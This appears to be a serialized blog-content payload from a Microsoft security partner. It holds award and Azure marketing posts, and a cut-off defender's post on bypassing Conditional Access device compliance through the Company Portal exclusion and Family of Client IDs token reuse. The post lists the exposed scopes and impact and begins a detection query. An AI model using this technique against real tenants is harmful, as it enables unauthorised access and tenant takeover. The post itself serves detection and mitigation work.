foresight, the company boosts security, automation, and scalability for future-ready cloud strategies.\"",[806,18760,18761],{},"With that, we say “Merci vielmals” – and raise a glass of Bärner Müntschi to celebrate. If you’d like to explore the full study in more detail, we’d be happy to send you the complete ISG overview of our strengths and capabilities.",{"title":863,"searchDepth":864,"depth":864,"links":18763},[18764,18765,18766],{"id":18558,"depth":864,"text":18559},{"id":18727,"depth":864,"text":18728},{"id":18744,"depth":864,"text":18745},{"lang":872,"seoTitle":18768,"titleClass":874,"date":18645,"categories":18769,"blogtitlepic":18770,"socialimg":18771,"customExcerpt":18772,"keywords":18773,"hreflang":18774,"footer":18779,"contactInContent":18780,"textImageTeaser":18806},"glueckkanja Switzerland named ISG ‘Rising Star’ 2025 for Microsoft 365 & Azure Services",[877],"head-isg-ch-2025.png","/blog/heads/head-isg-ch-2025.png","glueckkanja Switzerland has been named a 'Rising Star' by ISG in the categories Microsoft 365 Services and Managed Services for Azure. A recognition that shows: our standards, our ambition, and our services are setting the benchmark – even across borders.","Microsoft Partner Switzerland, Managed Services Azure Switzerland, Microsoft 365 Services Switzerland, IT Provider Switzerland, Cloud Services Switzerland, ISG Provider Lens Switzerland, glueckkanja Switzerland, Microsoft Cloud Switzerland, Rising Star ISG 2025, IT Security Switzerland, Digital Transformation Switzerland, Azure Services Bern, Microsoft 365 Consulting Switzerland, glueckkanja, glueckkanja Bern, glueckkanja Microsoft Services",[18775,18777],{"lang":4,"href":18776},"/blog/corporate/2025/05/isg-switzerland-2025",{"lang":956,"href":18778},"/blog/corporate/2025/05/isg-switzerland-2025-es",{"noMargin":508},{"quote":508,"infos":18781},{"bgColor":884,"headline":18659,"subline":18782,"level":810,"textStyling":888,"flush":889,"person":18783,"form":18790},"Want to dive deeper into the study results? Just reach out – we’ll send you the full ISG overview, including our skills and strengths.",{"image":18662,"cloudinary":508,"alt":1107,"name":1107,"quotee":1107,"quoteeTitle":18663,"quote":18784,"detailsHeader":18665,"details":18785},"Being named a Rising Star proves that our approach is also resonating in Switzerland: standardized, secure Microsoft services – pragmatically implemented and offering real value to our customers.",[18786,18789],{"text":18787,"href":18788,"details":900,"icon":901},"+41 31 5611900","tel:+41 31 5611900",{"text":18669,"href":18670,"icon":904},{"ctaText":906,"cta":18791,"method":870,"action":909,"fields":18792},{"skin":908},[18793,18794,18795,18796,18797,18798,18799,18800,18802,18804,18805],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":928,"type":929,"id":930,"required":749,"requiredMsg":931},{"label":4246,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":938,"value":877},{"type":912,"id":940,"value":18801},"CH",{"type":912,"id":943,"value":18803},"Form: Blog ISG Switzerland | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"image":18807,"cloudinary":508,"alt":18690,"bgColor":18691,"offset":749,"list":18808,"left":749,"float":749,"firstColWidth":2131,"secondColWidth":2143,"copyClasses":18696,"headline":18811,"subline":18812,"spacing":18699},"/logos/isg-provider-lens-leader-de.png",[18809],{"ctaText":18694,"ctaHref":18810,"ctaType":3865},"/en/blog/corporate/2025/05/isg-germany-2025","\u003Cp>By the way, in Germany we're a Leader in Microsoft 365 and Managed Azure!\u003Cbr />Thanks, ISG!\u003C/p>","\u003Cp>Check out our full ISG results in Germany.\u003C/p>","/posts/2025-05-08-isg-switzerland-2025",{"title":18708,"description":18714},"posts/2025-05-08-isg-switzerland-2025",[963,18704],"UYRq1L8smaVV85IFWAb4m9IoetzEbvRRG3jKMkkQvY4",{"id":18819,"title":18820,"author":18821,"body":18822,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":18878,"moment":18879,"navigation":508,"path":18891,"seo":18892,"stem":18893,"tags":18894,"webcast":749,"__hash__":18897},"content_en/posts/2025-04-29-rsa-mssp-2025.md","glueckkanja remains among the Top 5 MSSPs worldwide",[801],{"type":803,"value":18823,"toc":18874},[18824,18828,18830,18833,18836,18839,18842,18853,18856,18859,18862,18866,18868,18871],[810,18825,18827],{"id":18826},"three-years-in-a-row-glueckkanja-among-the-security-elite","Three Years in a Row: glueckkanja Among the Security Elite",[806,18829,816],{},[806,18831,18832],{},"For the third year in a row, we’re ranked among the world’s top five Managed Microsoft Security Providers. A triple win we're absolutely thrilled about. CEO Christian Kanja and Head of Security Jan Geisbauer were in San Francisco to celebrate the award together with the Microsoft Intelligent Security Association (MISA) and the international security community. RSA, Golden Gate Bridge, red carpet – it was all there.",[806,18834,18835],{},"And because innovation doesn’t just happen on stage, Christian and Jan took a ride into the future: cruising through the streets of San Francisco in a self-driving taxi. No driver, but tons of excitement – a perfect match for the spirit of RSA.\nThat's exactly what we aim for in cybersecurity too: trust is built when systems deliver what they promise.",[806,18837,18838],{},"The Microsoft Security Excellence Awards are among the most prestigious in the industry. They honor partners who set standards with innovation and service quality. Being recognized again in 2025 as one of the top Managed Security Service Providers is a special milestone for us – and a huge endorsement of our team’s daily work.",[806,18840,18841],{},"What brought us here:",[2733,18843,18844,18847,18850],{},[2736,18845,18846],{},"87% of our customers rate our technical expertise at the highest level",[2736,18848,18849],{},"94% praise our 24/7 services",[2736,18851,18852],{},"100% are satisfied with the overall experience",[806,18854,18855],{},"Strong results that show: as a team, we’re achieving extraordinary things.",[806,18857,18858],{},"A huge thank-you to everyone who made this success possible – to Microsoft and the Microsoft Intelligent Security Association (MISA) for their close partnership and trust, to our customers for their loyalty, and to our CSOC team, who deliver outstanding work day in and day out.",[806,18860,18861],{},"In a strong security community, the best minds work together – and that collaboration keeps pushing us forward.",[810,18863,18865],{"id":18864},"looking-ahead","Looking Ahead",[806,18867,816],{},[806,18869,18870],{},"This award is both motivation and commitment for us. We're staying on it: with innovation, passion, and the drive to deliver Microsoft security solutions at the highest level. Together with Microsoft, our customers, and our partners, we're writing the next chapter of our success story.",[806,18872,18873],{},"glueckkanja – Champions League-level security.",{"title":863,"searchDepth":864,"depth":864,"links":18875},[18876,18877],{"id":18826,"depth":864,"text":18827},{"id":18864,"depth":864,"text":18865},{"lang":872,"seoTitle":18820,"titleClass":874,"date":18879,"categories":18880,"blogtitlepic":18881,"socialimg":18882,"customExcerpt":18883,"keywords":18884,"hreflang":18885,"scripts":18890},"2025-04-29",[877],"head-rsa-2025","/socialimg/og-img-mssp-2025.png","The Microsoft Security Excellence Awards are among the most prestigious honors in the industry. At RSA Conference 2025 in San Francisco, partners were once again recognized for setting standards through innovation, service quality, and dedication. We're absolutely thrilled that glueckkanja has once again been named a finalist for the 'Security MSSP of the Year Awards' in 2025 – a huge acknowledgment of the hard work our entire team puts in every single day.","Microsoft Security Excellence Awards 2025, Security MSSP of the Year 2025, Managed Security Service Provider, Cyber Security Microsoft, Microsoft Security Partner, Best Microsoft Security Partner 2025, Microsoft MSSP Finalist 2025, Microsoft Security Award Winner, Cybersecurity Provider with Microsoft Technology, Managed Security for Microsoft 365, Microsoft Intelligent Security Association (MISA) Partner, RSA Conference 2025 San Francisco, Security Excellence Awards Microsoft, MISA Partner Microsoft, Microsoft Security Solutions for Enterprises, Cybersecurity Trends 2025",[18886,18888],{"lang":4,"href":18887},"/blog/corporate/202504/rsa-mssp-2025",{"lang":956,"href":18889},"/blog/corporate/2025/04/rsa-mssp-2025-es",{"slick":508},"/posts/2025-04-29-rsa-mssp-2025",{"title":18820,"description":863},"posts/2025-04-29-rsa-mssp-2025",[963,18895,371,18896],"Microsoft","Misa","ys69x_mwOAPW-TJbu7gOqW7VZPvgxmCwQJtdHBizh4w",{"id":18899,"title":18900,"author":18901,"body":18902,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":18978,"moment":18980,"navigation":508,"path":19022,"seo":19023,"stem":19024,"tags":19025,"webcast":749,"__hash__":19029},"content_en/posts/2025-03-12-azure-goes-austria.md","Hello Clöud",[1226],{"type":803,"value":18903,"toc":18974},[18904,18908,18910,18913,18939,18942,18946,18948,18951,18971],[810,18905,18907],{"id":18906},"a-cloud-region-that-changes-everything","A Cloud Region That Changes Everything!",[806,18909,816],{},[806,18911,18912],{},"Now there is an answer to all these challenges: Microsoft is building its own cloud region in Austria with state-of-the-art data centers and maximum performance. This means for you: You now get the global power of a public cloud with the security of local data storage!",[2733,18914,18915,18921,18927,18933],{},[2736,18916,18917,18920],{},[1732,18918,18919],{},"Maximum Performance:"," lower latency, higher scalability, more efficiency",[2736,18922,18923,18926],{},[1732,18924,18925],{},"Local Data Storage:"," all data stays in Austria – secure, compliant, and protected",[2736,18928,18929,18932],{},[1732,18930,18931],{},"Increased Security & Resilience:"," state-of-the-art infrastructure with multiple layers of security",[2736,18934,18935,18938],{},[1732,18936,18937],{},"Sustainable IT:"," up to 93% more energy-efficient than traditional data centers",[806,18940,18941],{},"But a cloud region alone is not enough – the right partner makes the difference. This is where we at glueckkanja come into play.",[810,18943,18945],{"id":18944},"we-get-you-ready-for-the-local-future-of-your-it","We Get You Ready for the Local Future of Your IT!",[806,18947,816],{},[806,18949,18950],{},"In Germany, we are among the leading Microsoft partners for cloud migration. Now our expertise is also available in the new Microsoft Cloud Region Austria. As a strategic partner, we now seamlessly bring your company into the cloud. Do you have questions about data protection, system migration, or available financial benefits? We are here for you and accompany you from the first steps to the final go-live (and gladly beyond). Your benefits:",[2733,18952,18953,18959,18965],{},[2736,18954,18955,18958],{},[1732,18956,18957],{},"Blueprint & Landing Zone Deployment:"," We enable you to migrate securely, quickly, and smoothly!",[2736,18960,18961,18964],{},[1732,18962,18963],{},"AMM Funding:"," We provide comprehensive information about Microsoft funding for a cost-efficient transition!",[2736,18966,18967,18970],{},[1732,18968,18969],{},"Seamless Transition:"," We accompany you step by step into the new AT-Cloud with standardized solutions!",[806,18972,18973],{},"Benefit now from our experience of over 100 successful cloud migrations and our top-notch Microsoft expertise.",{"title":863,"searchDepth":864,"depth":864,"links":18975},[18976,18977],{"id":18906,"depth":864,"text":18907},{"id":18944,"depth":864,"text":18945},{"lang":872,"seoTitle":18979,"titleClass":874,"date":18980,"categories":18981,"blogtitlepic":18982,"socialimg":18983,"customExcerpt":18984,"keywords":18985,"contactInContent":18986,"hreflang":19016,"scripts":19021,"published":508},"Microsoft Cloud Region Austria: Local Cloud Power for Your Business","2025-03-12",[199],"head-azure-goes-austria","/blog/heads/head-azure-goes-austria.png","Austrian companies are currently at a turning point. Digitalization is accelerating rapidly. At the same time, the demands on IT security, speed, and flexibility are increasing – and so are the challenges related to costs, regulatory hurdles, and the use of new technologies.","Microsoft Cloud Region Austria, Cloud Migration Austria, local data storage, Cloud Security, Microsoft Partner Austria, Cloud Performance, sustainable IT, Cloud Solutions Austria, Azure Migration, Landing Zone Deployment",{"quote":508,"infos":18987},{"bgColor":884,"headline":18988,"subline":18989,"level":810,"textStyling":888,"flush":889,"person":18990,"form":18997},"Get in Touch Now!","Do you want to learn more about how we can seamlessly and securely bring your company into the new Microsoft Cloud Region Austria? We are happy to personally present our offer, answer your questions about data protection and migration, and guide you step by step on your way to the cloud. Secure your personal consultation now!",{"image":18991,"cloudinary":508,"alt":1226,"name":1226,"quotee":1226,"quoteeTitle":18992,"quote":18993,"detailsHeader":18515,"details":18994},"/people/people-florian-stoeckl.jpg","Azure Lead","The new Microsoft Cloud Region Austria is a real game-changer: Local data storage combined with global cloud power – an unbeatable mix for security, performance, and innovation. With our many years of expertise, we ensure that Austrian companies can now make the most of this opportunity.",[18995,18996],{"text":762,"href":899,"details":900,"icon":901},{"text":18669,"href":18670,"icon":904},{"ctaText":906,"cta":18998,"method":870,"action":909,"fields":18999},{"skin":908},[19000,19001,19002,19003,19005,19007,19009,19010,19012,19014,19015],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":19004,"type":925,"id":925,"required":508,"requiredMsg":926},"Email Address*",{"label":19006,"type":929,"id":930,"required":508,"requiredMsg":931},"Your Message to Us*",{"label":19008,"type":934,"id":935,"required":508,"requiredMsg":936},"Your data will be stored with us for processing and answering your request. For more information on data protection, please see our \u003Ca href=\"/de/datenschutz\">privacy policy\u003C/a>.",{"type":912,"id":938,"value":199},{"type":912,"id":940,"value":19011},"AT",{"type":912,"id":943,"value":19013},"Form: Blog Hello Clöud | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},[19017,19019],{"lang":4,"href":19018},"/blog/azure/2025/03/azure-goes-austria",{"lang":956,"href":19020},"/blog/azure/2025/03/azure-goes-austria-es",{"slick":508},"/posts/2025-03-12-azure-goes-austria",{"title":18900,"description":863},"posts/2025-03-12-azure-goes-austria",[199,19026,19027,19028],"Cloud Migration","IT Infrastructure","Austria","GZ4-JSMy-CpEZ3Zlx2H6kR29_ePx7VDU9h7yvHE0k_A",{"id":19031,"title":19032,"author":19033,"body":19034,"cta":764,"description":19099,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":19100,"moment":19102,"navigation":508,"path":19134,"seo":19135,"stem":19136,"tags":19137,"webcast":749,"__hash__":19138},"content_en/posts/2025-03-04-mssp-2025.md","'23, '24, '25 – the triple is complete!",[801],{"type":803,"value":19035,"toc":19094},[19036,19042,19046,19048,19055,19057,19061,19063,19066,19069,19079,19082,19086,19088,19091],[806,19037,19038,19041],{},[1732,19039,19040],{},"After 2023 and 2024, our success story continues: glueckkanja is once again among the frontrunners of the Microsoft Security Excellence Awards in 2025."," As a leading Managed Security Service Provider (MSSP), we are once again among the top partners recognized by Microsoft for outstanding achievements in cybersecurity. Three consecutive years in this league – that speaks for itself.",[810,19043,19045],{"id":19044},"one-of-the-most-coveted-awards-in-the-industry","One of the most coveted awards in the industry",[806,19047,816],{},[806,19049,19050,19051,19054],{},"The Microsoft Security Excellence Awards are among the most prestigious awards in the IT security industry. Each year, Microsoft honors partners who set new standards in defending against cyber threats. In 2025, glueckkanja is once again among the ",[1732,19052,19053],{},"top contenders in the \"Security MSSP of the Year\" category"," – an award given exclusively to the best Managed Security Service Providers.",[1432,19056],{":quotes":1432,":no-fullscreen":1435},[810,19058,19060],{"id":19059},"awarded-three-years-in-a-row-and-this-is-just-the-beginning","Awarded three years in a row – and this is just the beginning",[806,19062,816],{},[806,19064,19065],{},"Our repeated recognition as a leading MSSP is the result of our consistent focus on innovative security solutions and excellent service. glueckkanja combines cutting-edge Microsoft security technologies with deep expertise and a clear goal: to optimally secure companies in an increasingly threatening cyber world. And the direct customer feedback speaks for itself:",[806,19067,19068],{},"Our CSOC Customer Poll shows the outstanding quality of our services:",[2733,19070,19071,19074,19077],{},[2736,19072,19073],{},"87% rate our technical expertise at the highest level",[2736,19075,19076],{},"94% praise our 24/7 coverage",[2736,19078,18852],{},[806,19080,19081],{},"A big thank you to Microsoft and MISA for their trust, valuable partnership, and continuous support. This community of leading security experts is more than a network – it is an ecosystem that sets standards together. A special thanks also to all MISA partners: Your innovations and commitment drive us all forward. Together, we make the digital world safer.",[810,19083,19085],{"id":19084},"_23-24-25-we-set-the-standard-in-microsoft-security","'23, '24, '25 – We set the standard in Microsoft Security",[806,19087,816],{},[806,19089,19090],{},"Awarded three years in a row – this is more than a success, it is a clear sign of excellence. glueckkanja remains at the forefront of the Microsoft security landscape and will continue to set standards with innovative solutions and outstanding service quality.",[806,19092,19093],{},"We look forward to further collaboration with Microsoft, our customers, and partners – and to the next chapter in our success story.",{"title":863,"searchDepth":864,"depth":864,"links":19095},[19096,19097,19098],{"id":19044,"depth":864,"text":19045},{"id":19059,"depth":864,"text":19060},{"id":19084,"depth":864,"text":19085},"After 2023 and 2024, our success story continues: glueckkanja is once again among the frontrunners of the Microsoft Security Excellence Awards in 2025. As a leading Managed Security Service Provider (MSSP), we are once again among the top partners recognized by Microsoft for outstanding achievements in cybersecurity. Three consecutive years in this league – that speaks for itself.",{"lang":872,"seoTitle":19101,"titleClass":874,"date":19102,"categories":19103,"blogtitlepic":19104,"socialimg":18882,"customExcerpt":19105,"keywords":18884,"hreflang":19106,"quotes":19111,"contactInContent":19117},"Microsoft Security Excellence Awards: glueckkanja once again finalist as Security MSSP of the Year 2025","2025-03-04",[877],"head-mssp-finalist-2025","glueckkanja is once again a finalist at the Security MSSP of the Year Awards, placing us among the world's leading Managed Microsoft Security Providers to be celebrated in April at the RSA Conference in San Francisco. For three consecutive years, our company has been among the top partners in cybersecurity – a success story like no other.",[19107,19109],{"lang":4,"href":19108},"/blog/corporate/2025/03/mssp-2025",{"lang":956,"href":19110},"/blog/corporate/2025/03/mssp-2025-es",{"items":19112},[19113],{"text":19114,"name":19115,"company":19116,"alt":19115},"I’m very pleased to extend my warmest congratulations to this year’s finalists for the Microsoft Security Excellence Awards. These are presented each year to recognize the outstanding achievements of our Microsoft Intelligent Security Association members as they improve customers' ability to identify and respond to security threats. Our community is made up of the most reliable and trusted security vendors worldwide. This year we received hundreds of quality submissions from partners and Microsoft stakeholders, so this year's finalists stood out in a crowd of exceptional talent. It’s my pleasure to acknowledge and celebrate their work over the past year.","Maria Thomson","Director, Microsoft Intelligent Security Association",{"quote":749,"infos":19118},{"bgColor":18507,"color":885,"boxBgColor":18508,"boxColor":18509,"headline":18510,"subline":18511,"level":810,"textStyling":888,"flush":889,"person":19119,"form":19123},{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":19120},[19121,19122],{"text":762,"href":899,"details":6062,"icon":901},{"text":763,"href":903,"icon":904},{"ctaText":18520,"cta":19124,"method":870,"action":909,"fields":19125},{"skin":908},[19126,19127,19128,19129,19130,19131,19132,19133],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":18529},{"type":912,"id":946,"value":947},{"type":912,"id":949},"/posts/2025-03-04-mssp-2025",{"title":19032,"description":19099},"posts/2025-03-04-mssp-2025",[963,18895,371,18896],"d3Sjs1_GtQeoIX7j5oo9U4H8V0jF45Q8xihLhWMFIpI",{"id":19140,"title":19141,"author":19142,"body":19143,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":19771,"moment":19773,"navigation":508,"path":19799,"seo":19800,"stem":19801,"tags":19802,"webcast":749,"__hash__":19806},"content_en/posts/2025-01-14-compliant-device-bypass.md","Compliant Device Bypass - All you need to know!",[1185,1065,1221],{"type":803,"value":19144,"toc":19754},[19145,19149,19151,19201,19205,19207,19219,19226,19237,19243,19246,19250,19252,19256,19258,19261,19264,19324,19327,19330,19334,19336,19340,19342,19356,19363,19366,19369,19371,19374,19377,19380,19388,19399,19402,19404,19407,19411,19413,19416,19421,19425,19427,19430,19433,19436,19589,19593,19595,19598,19637,19641,19643,19650,19653,19656,19670,19673,19676,19729,19736,19740,19742,19745,19748,19751],[810,19146,19148],{"id":19147},"what-happened-so-far","What happened so far?",[806,19150,816],{},[2733,19152,19153,19174,19189,19198],{},[2736,19154,19155,19156,19161,19162,19167,19168,19173],{},"In December 2024 ",[833,19157,19160],{"href":19158,"rel":19159},"https://x.com/TEMP43487580",[1410],"Yuya Chudo"," gave his talk “",[833,19163,19166],{"href":19164,"rel":19165},"https://www.blackhat.com/eu-24/briefings/schedule/#unveiling-the-power-of-intune-leveraging-intune-for-breaking-into-your-cloud-and-on-premise-42176",[1410],"Unveiling the Power of Intune: Leveraging Intune for Breaking Into Your Cloud and On-Premise","” at the Black Hat Europe conference. In this session he showed how to abuse a hardcoded rarely known exclusion in Conditional Access (CA) for device compliance in combination with the undocumented “",[833,19169,19172],{"href":19170,"rel":19171},"https://github.com/secureworks/family-of-client-ids-research",[1410],"FOCI-Feature","” in Entra ID. In the talk he also presented the response from Microsoft MSRC (VULN-123240) that this behavior is by design and required for successful Intune Enrollment of new devices.",[2736,19175,19176,19177,19182,19183,19188],{},"Some days after the conference Sunny Chau published the proof-of-concept tool ",[833,19178,19181],{"href":19179,"rel":19180},"https://github.com/JumpsecLabs/TokenSmith",[1410],"TokenSmith"," including a ",[833,19184,19187],{"href":19185,"rel":19186},"https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/",[1410],"companion blog posts"," - what made the technique available for a broader audience.",[2736,19190,19191,19192,19197],{},"In addition, a ",[833,19193,19196],{"href":19194,"rel":19195},"https://github.com/zh54321/PoCEntraDeviceComplianceBypass/blob/main/poc_entra_compliance_bypass.ps1",[1410],"PoC written in PowerShell"," has been published.",[2736,19199,19200],{},"Since the end of December, we at glueckkanja AG have been investigating how to prevent and detect this technique. In this blog post we would like to share some of our insights regarding the attack and discuss mitigation and detection options.",[810,19202,19204],{"id":19203},"tldr","TL;DR",[806,19206,816],{},[806,19208,19209,19210,19215,19216],{},"There are some resources with a built-in exclusion to specific Grant Controls/Conditions in Conditional Access to solve certain problems. One of them is the exclusion of the Company Portal App for Device Compliance to solve the chicken-egg-problem to get devices enrolled in Intune before they are considered compliant. This behavior is ",[833,19211,19214],{"href":19212,"rel":19213},"https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-alt-all-users-compliant-hybrid-or-mfa#:~:text=You%20can%20enroll,Company%20Portal%20application",[1410],"documented here",".\n",[1732,19217,19218],{},"This means you can get access and refresh token for this app from an unmanaged device even if a CA policy is enforcing Device Compliance for “All resources”.",[806,19220,19221,19225],{},[1449,19222],{"alt":19223,"src":19224},"image.png","https://res.cloudinary.com/c4a8/image/upload/blog/pics/company-portal-ca-bypass-02.png","{: .post__screenshot}",[806,19227,19228,19229,19233,19234],{},"Microsoft has implemented a feature called Family of Client IDs (FOCI) which allows a group of Microsoft OAuth client applications to obtain access tokens as any other client in the family using their refresh token. A behavior otherwise not allowed in the OAuth2 standard. Read the ",[833,19230,19232],{"href":19170,"rel":19231},[1410],"original work of Secureworks"," for more details.\n",[1732,19235,19236],{},"Since the Company Portal App is a “family member” the requested Refresh Tokens for it can be used to get tokens for other apps in the family.",[806,19238,19239,19240],{},"The FOCI feature is limited and the consent between the client id and the resource must be explicitly configured and granted. In the case of the Company Portal App this consent has been granted, among others, for access to Microsoft Graph using a restricted scope and to the Azure AD Graph API with the permission of the current user.\n",[1732,19241,19242],{},"This means a Company Portal refresh token can be used to obtain e.g. Azure AD Graph API access tokens with the scope user_impersonation, allowing us to do a lot of things with eg. AADInternals or ROADrecon",[806,19244,19245],{},"To execute the attack, the attacker requires either valid credentials of the victim as well as the ability to perform MFA if this is required by Conditional Access or a valid refresh token.",[810,19247,19249],{"id":19248},"what-risk-and-blast-radius-exists","What risk and blast radius exists?",[806,19251,816],{},[1667,19253,19255],{"id":19254},"which-of-the-possible-resources-scopes-are-affected-from-the-compliance-exclusion","Which of the possible resources (scopes) are affected from the compliance exclusion?",[806,19257,1531],{},[806,19259,19260],{},"The Attacker has the option to request tokens for another FOCI application as already described before. However, Microsoft has implemented a bypass for the device compliance requirements only for accessing tokens to certain resource applications various API permission scope. In particular, the following delegated API permissions are sensitive and of interest to attackers:",[3606,19262,19263],{},"\ntable {\n  font-family: arial, sans-serif;\n  border-collapse: collapse;\n  width: 100%;\n}\n\ntd, th {\n  border: 1px solid #dddddd;\n  text-align: left;\n  padding: 8px;\n}\n\ntr:nth-child(even) {\n  background-color: #dddddd;\n}\n",[1898,19265,19266,19279],{},[1903,19267,19268],{},[1907,19269,19270,19273,19276],{},[1911,19271,19272],{},"Resource Application",[1911,19274,19275],{},"Application Id",[1911,19277,19278],{},"Delegated Permission Scope",[1919,19280,19281,19292,19303,19314],{},[1907,19282,19283,19286,19289],{},[1924,19284,19285],{},"AADGraph",[1924,19287,19288],{},"00000002-0000-0000-c000-000000000000",[1924,19290,19291],{},"user_impersonation",[1907,19293,19294,19297,19300],{},[1924,19295,19296],{},"Microsoft Graph API",[1924,19298,19299],{},"00000003-0000-0000-c000-000000000000",[1924,19301,19302],{},"“email\", \"openid\", \"profile\",\"Device.Read.All\", \"DeviceManagementConfiguration.Read.All\", \"DeviceManagementConfiguration.ReadWrite.All\", \"ServicePrincipalEndpoint.Read.All\", \"User.Read”",[1907,19304,19305,19308,19311],{},[1924,19306,19307],{},"Device Registration Service",[1924,19309,19310],{},"01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9",[1924,19312,19313],{},"adrs_access",[1907,19315,19316,19319,19322],{},[1924,19317,19318],{},"Windows Azure Service Management API",[1924,19320,19321],{},"797f4846-ba00-4fd7-ba43-dac1f8f63013",[1924,19323,19291],{},[806,19325,19326],{},"Since the granted permissions are not for the application itself, the impact depends on the privileges of the caller (user account) and which delegated permission scopes are authorized to execute API calls on the scope.",[806,19328,19329],{},"Let us have a closer look at the criticality of the shown delegated permission scope and potential authorization to call sensitive APIs?",[810,19331,19333],{"id":19332},"which-privileges-and-delegated-scope-are-critical","Which privileges and delegated scope are critical?",[806,19335,816],{},[1667,19337,19339],{"id":19338},"azure-ad-graph-api","Azure AD Graph API",[806,19341,1531],{},[806,19343,19344,19345,19350,19351,7580],{},"The legacy programmatic interface offers many APIs to manage directory settings and objects in Entra ID (Azure AD). This includes Conditional Access policies, directory roles, CRUD on groups and devices and operations on the signed-in user, such as change password. A full list of all supported operations can be found in the ",[833,19346,19349],{"href":19347,"rel":19348},"https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/api-catalog",[1410],"Azure AD Graph API reference",". This API will be fully retired on June 30, 2025 (based on ",[833,19352,19355],{"href":19353,"rel":19354},"https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview",[1410],"Microsoft latest announcements",[806,19357,19358,19359,19362],{},"The assigned delegated scope “user_impersonation” allows the application (in this case, Company Portal) to act on behalf of the user. So, every permission that the signed-in user has to an Entra object, scope or directory-level can be used as authorization in the API calls. The user might be the owner of an Entra ID object (application, group, or other objects), or they might be assigned permissions through Entra ID role assignments. ",[1732,19360,19361],{},"In the case of active high privileged role assignments, this would allow the attacker to modify objects or compromise the tenant",". At least, even without any privileges, default user permissions can be used for extensive reconnaissance and enumeration of directory objects in the tenant.",[806,19364,19365],{},"Therefore, the scenarios and impact to abuse the Azure AD Graph API depends on the active or permanent assigned privileges of the affected user. APIs to access Microsoft 365 services (e.g., for exfiltration of OneDrive) are not included in Azure AD Graph.",[1667,19367,19296],{"id":19368},"microsoft-graph-api",[806,19370,1531],{},[806,19372,19373],{},"In comparison to Azure AD Graph, the delegated scope to Microsoft Graph API is restricted to a certain scope. Alongside OpenID scopes (openid, email, profile) and basic read operations on behalf of the user (ServicePrincipalEndpoint.Read.All, User.Read).",[806,19375,19376],{},"List and read of all device objects can be achieved by calling “device” endpoint in Microsoft Graph with default permissions by using “Device.Read.All\". This could help attackers to gain insights of device objects.",[806,19378,19379],{},"In case of a compromised user with assignment to “Intune Administrator” or any delegation in Microsoft Intune RBAC, the following granted delegated API permission should be considered problematic:",[2733,19381,19382,19385],{},[2736,19383,19384],{},"”DeviceManagementConfiguration.Read.All”",[2736,19386,19387],{},"“DeviceManagementConfiguration.ReadWrite.All”",[806,19389,19390],{},[1732,19391,19392,19393,19398],{},"Those delegated permissions allow CRUD operations, for example on Device Compliance and Configuration Policies but also deployment of ",[833,19394,19397],{"href":19395,"rel":19396},"https://learn.microsoft.com/en-us/graph/api/intune-shared-devicemanagementscript-create?view=graph-rest-beta",[1410],"Management Scripts"," for further malicious activity on target devices.",[1667,19400,19307],{"id":19401},"device-registration-service",[806,19403,1531],{},[806,19405,19406],{},"With this permission the attacker is able to join or register a device to Entra ID. In turn this would allow them to even enroll the device in Intune and depending on the Intune configuration get a valid and compliant to device to access even more protected services.",[1667,19408,19410],{"id":19409},"other-foci-applications","Other FOCI applications",[806,19412,1531],{},[806,19414,19415],{},"Requesting access to other privileged interfaces, for example Azure Resource Manager API is in scope of FOCI and interests of the attacker well. However, this resource is still protected and not bypassed to the Conditional access grant control “compliant device”.",[806,19417,19418],{},[1449,19419],{"alt":19223,"src":19420},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/company-portal-ca-bypass-03.png",[810,19422,19424],{"id":19423},"can-we-detect-this-attack-technique","Can we detect this attack technique?",[806,19426,816],{},[806,19428,19429],{},"As described above, the greatest risk comes from access to MS Graph and Azure AD Graph.",[806,19431,19432],{},"Since the application ID of the Microsoft Intune Company Portal App is always used in this case, the main task for creating a detection is to exclude legitimate use by e.g. device registrations, which according to our observation consists of which resources are accessed first in a session → in case of an attack usually MS Graph or Azure AD Graph.",[806,19434,19435],{},"Here is a working detection that we tested in several environments different sizes:",[1536,19437,19439,19440,19442,19443,19447,19448,19452,19456,2021,19458,19460,2021,19464,19442,19466,19468,19469,2021,19473,19475,2021,19478,19442,19480,19482,19483,19485,2021,19488,19442,19490,19492,19493,2881,19496,2285,19499,9305,19502,19442,19504,19507,19508,19510,2021,19513,19442,19515,2881,19518,19520,19521,19523,19524,19526,19527,2021,19529,19523,19531,19534,19535,19538,19539,19541,19542,19507,19545,19547,2021,19550,19442,19552,19554,19555,19442,19557,19559,19560,2021,19562,19564,2021,19566,19442,19568,19468,19570,2021,19572,19574,2021,19577,19442,19579,19492,19581,2881,19583,2285,19585,9305,19587],{"style":19438},"background-color:#000000; font-family: 'Source Code Pro', 'Courier New', monospace; padding: 15px; color: #ffffff","\nAADSignInEventsBeta ",[2012,19441],{},"\n| ",[1584,19444,19446],{"style":19445},"color: #569CD6;","where"," Timestamp > ",[1584,19449,19451],{"style":19450},"color: #E6DB74;","ago(",[1584,19453,19455],{"style":19454},"color: #A6E22E;","7d",[1584,19457,2767],{"style":19450},[2012,19459],{},[1584,19461,19463],{"style":19462},"color: 